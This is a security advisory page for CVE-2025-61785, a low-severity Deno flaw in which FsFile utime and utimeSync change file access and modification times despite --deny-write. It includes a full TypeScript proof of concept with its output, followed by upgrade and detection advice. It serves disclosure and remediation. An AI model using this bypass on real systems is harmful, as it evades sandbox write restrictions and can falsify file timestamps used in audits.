CVE-2025-61785 is a low-severity (CVSS 3.3) CWE-266 vulnerability in deno. A fix is available for deno — see the affected versions and patch details below.
Deno's --deny-write check does not prevent permission bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-61785.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
Impact
Permission model bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.5.3cargo update -p deno --precise 2.5.3 |
Affected Products
denodenoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-61785 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-61785 in your dependencies?
Find it across crates.io, including transitive dependencies.